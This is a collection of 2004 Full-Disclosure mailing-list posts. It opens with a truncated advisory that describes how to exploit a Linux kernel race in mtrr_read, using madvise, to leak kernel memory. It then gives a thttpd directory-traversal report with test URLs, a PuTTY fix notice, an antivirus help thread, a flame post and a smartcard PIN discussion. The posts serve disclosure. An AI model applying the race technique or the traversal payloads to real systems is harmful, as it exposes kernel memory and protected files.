applications.  Basically  a  file  can  be identified by a file name and
opened through the open(2) system call which  in  turn  returns  a  file
descriptor for the kernel file object.

One  of  the  properties  of  the  file object is something called 'file
offset' (f_pos member variable of the file object), which is advanced if
one  reads  or  writtes  to the file. It can also by changed through the
lseek(2) system call and identifies the current writing/reading position
inside the file image on the media.

There  are two different versions of the file handling API inside recent
Linux kernels: the old 32 bit and the new (LFS)  64  bit  API.  We  have
identified  numerous places, where invalid conversions from 64 bit sized
file offsets to 32 bit ones as well  as  insecure  access  to  the  file
offset member variable take place.

We  have  found that most of the /proc entries (like /proc/version) leak
about one page of unitialized kernel memory  and  can  be  exploited  to
obtain sensitive data.

We  have  found  dozens  of places with suspicious or bogus code. One of
them resides in the MTRR handling code for the i386 architecture:


static ssize_t mtrr_read(struct file *file, char *buf, size_t len,
 loff_t *ppos)
{
[1] if (*ppos >= ascii_buf_bytes) return 0;
[2] if (*ppos + len > ascii_buf_bytes) len = ascii_buf_bytes - *ppos;
if ( copy_to_user (buf, ascii_buffer + *ppos, len) ) return -EFAULT;
[3] *ppos += len;
return len;
}   /*  End Function mtrr_read  */


It is quite easy to see that since copy_to_user can  sleep,  the  second
reference  to  *ppos  may  use  another  value.  Or in other words, code
operating on the file->f_pos variable through a pointer must  be  atomic
in  respect  to  the current thread. We expect even more troubles in the
SMP case though.


Exploitation:
=

In the following we want to concentrate onto the mttr.c code, however we
think  that  also  other  f_pos  handling  code  in  the  kernel  may be
exploitable.

The idea is to use the blocking property of copy_to_user to advance  the
file->f_pos  file  offset  to  be negative allowing us to bypass the two
checks marked with [1] and [2] in the above code.

There are two situation where copy_to_user() will sleep if there  is  no
page  table entry for the corresponding location in the user buffer used
to receive the data:

- - the underlying buffer maps a file which is  not  in  the  kernel  page
cache yet. The file content must be read from the disk first

- -  the mmap_sem semaphore of the process's VM is in a closed state, that
is another thread sharing  the  same  VM  caused  a  down_write  on  the
semaphore.

We  use the second method as follows. One of two threads sharing same VM
issues a madvise(2) call on a VMA that maps some, sufficiently big  file
setting  the  madvise  flag to WILLNEED. This will issue a down_write on
the mmap semaphore and schedule a  read-ahead  request  for  the  mmaped
file.

Second thread issues in the mean time a read on the /proc/mtrr file thus
going for sleep until the first thread returns from the  madvise  system
call.  The  two threads will be woken up in a FIFO manner thus the first
thread will run as first and can advance the file pointer  of  the  proc
file  to  the  maximum  possible  value  of 0x7fff while the
second thread is still waiting in the scheduler queue for CPU  (itn  the
non-SMP case).

After  the  place  marked  with [3] has been executed, the file position
will have a negative value and the checks [1] and [2] can be passed  for
any  buffer  length  supplied,  thus  leaking the kernel memory from the
address of ascii_buffer on to the user space.

We have attached a proof-of-concept exploit code  to  read  portions  of
kernel  memory.  Another  exploit  code  we have at our disposal can use
other /proc entries (like /proc/version) to  read  one  page  of  kernel
memory.


Impact:
===

Since no special privileges are required to open the /proc/mtrr file for
reading any process may exploit the bug to read  huge  parts  of  kernel
memory.

The  kernel  memory  dump  may  include  very sensitive information like
hashed passwords from /etc/shadow or even the root passwort.

We have found in an experiment that after the root user logged in  using
ssh  (in our case it was OpenSSH using PAM), the root

[Full-Disclosure] Bug@thttpd

[CoolICE]

Application:thttpd
Vendors:http://www.acme.com/software/thttpd/
Version:2.07 beta 0.4 10dec99
Platforms:  Windows
Bug:Directory Traversal
Date:   2004-08-04
Author: CoolICE
e-mail: CoolICE#China.com

Content:
in libhttpd.c:
int
httpd_parse_request( httpd_conn* hc )
[...]
if ( hc->decodedurl[0] != '/' )
{
httpd_send_err( hc, 400, httpd_err400title, httpd_err400form, "" );
return -1;
}

static int
really_start_request( httpd_conn* hc )
[...]
if ( stat( hc->expnfilename, &hc->sb ) < 0 )
{
httpd_send_err( hc, 500, err500title, err500form, hc->encodedurl );
return -1;
}
--
TestCode:
http://localhost/%5c../test.ini
http://localhost/c:\test.ini

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] 2004-08-03 SECURITY HOLE, fixed in PuTTY 0.55

[nathan]

By the way, I just happened to be downloading PuTTY today to set up on a new
computer, and I saw that they released a new version:

PuTTY is a free implementation of Telnet and SSH for Win32 and Unix platforms,
along with an xterm terminal emulator. It is written and maintained primarily
by Simon Tatham.

2004-08-03 SECURITY HOLE, fixed in PuTTY 0.55

PuTTY 0.55, released today, fixes a serious security hole which may allow a
server to execute code of its choice on a PuTTY client connecting to it. In
SSH2, the attack can be performed before host key verification, meaning that
even if you trust the server you think you are connecting to, a different
machine could be impersonating it and could launch the attack before you
could tell the difference. We recommend everybody upgrade to 0.55 as soon as
possible.

http://www.chiark.greenend.org.uk/~sgtatham/putty/

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Defcon spelled half backwards is Fedcon and you dumfucks walked into a trap

[davidp]

What were these highschoolesque drama fest parties?!?!? HAHHA.lame No
drama at the pivx parties just smart people and hot girls dancing in
their underwear. Nevermind that doesnt sound fun does it? noppers.

After all, you peeps get your kicks from debating off-topic style in
open forums in front of everyone, creating drama. 

One could say you THRIVE on drama... and couldnt live without it. I DARE
YOU.

See now you sucked me in. sh1t.

-dp



Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program: 
http://www.hushmail.com/about-affiliate?l=427

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Puzzled....

[Jean-Marie Monnier]

Aditya, thanks a lot!
As a matter of fact, the following procedure "try rebooting in safe mode 
and running the scan" provided to me by Stephen Blass 
<[EMAIL PROTECTED]> did the trick.

I also got from Bernardo Quintero <[EMAIL PROTECTED]> this 
alternate solution (untested, as the file seems to be deleted right 
away, as you pointed out),
"Create a new message with [EMAIL PROTECTED] as destination of such 
e-mail Put only SCAN in the subject field
Attach the file to be scanned You will receive an e-mail with a report 
of the tile analysis." Merci to all!
jmm

This is a typical behavior where the resident sheild simply put the 
file in quarantine or deletes the file is this what is happening 
please see the options to see what AVG is doing 
 
 
-aditya

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] Behalf Of
Jean-Marie Monnier
Sent: Wednesday, August 04, 2004 12:06 AM
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] Puzzled
Since mid day today, I am flooded with interrupts from AVG
resident shield  yelling at me; and saying, in a nice little box..:.
=
 Virus   
   !  
Trojan horse Downloader Crypter C !

!
is found in file  !
C\WINDOWS\TEMP\WKN.exe   ! <=  ( taking all kind
of values, the most recent one being A0803 )

!
to remove this virus, run AVG for Windows !
!

Running AVG doesn't find  anything.   Any clues?Thanks in
advance for any... jm(retired IBM'er... yes, it shows.. :-[ )
Delivered using the Free Personal Edition of Mailtraq 
(www.mailtraq.com) 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] 0xdefaced[6] zine distribution

[nocturnal]

the swedish security group swehack is hosting it so it will remain 
stable there, keep up the good work our underground friends in russia!
--

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Clear text password exposure in Datakey's tokens and smartcards

[Lionel Ferette]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Hello,

In the wise words of [EMAIL PROTECTED], on Wednesday 04 August 2004 07:08:
> Clear text password exposure in Datakey's tokens and smartcards
[SNIP]

> Cause and Effect:
> =
> The communication channel between the token and the driver is not
> encrypted. User's PIN can be retrieved using proxy driver or hardware
> sniffer.
Note that this is true for almost all card readers on the market, not only for 
Datakey's. Having worked for companies using crypto smart cards, I have 
conducted a few risk analysis about that. The conclusion has always been that 
if the PIN must be entered from a PC, and the attacker has means to install 
software on the system (through directed viruses, social engineering, etc), 
the game's over.

The only solution against that problem is to have the PIN entered using a 
keypad on the reader. Only then does the cost of an attack raise 
significantly. But that is opening another can of worms, because there is 
(was?) no standard for card readers with attached pin pad (at the time, 
PC/SCv2 wasn't finalised - is it?).

[SNIP]

Cheers,

Lionel

- -- 
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety." -- Benjamin Franklin

Lionel Ferette
BELNET CERT Coordinator

Rue de la Science 4 Tel: +32 2 7903385
1000 Brussels   Fax: +32 2 7903375
Belgium PGP Key Id: 0x5662FD4B
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBEIYGDd3gqVZi/UsRAqEMAKDAISNaTuvH8eH37ER1wSO/zUq22gCgsG9W
PqY79HOMC3f+CWkUQXLPp1E=
=k9PO
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html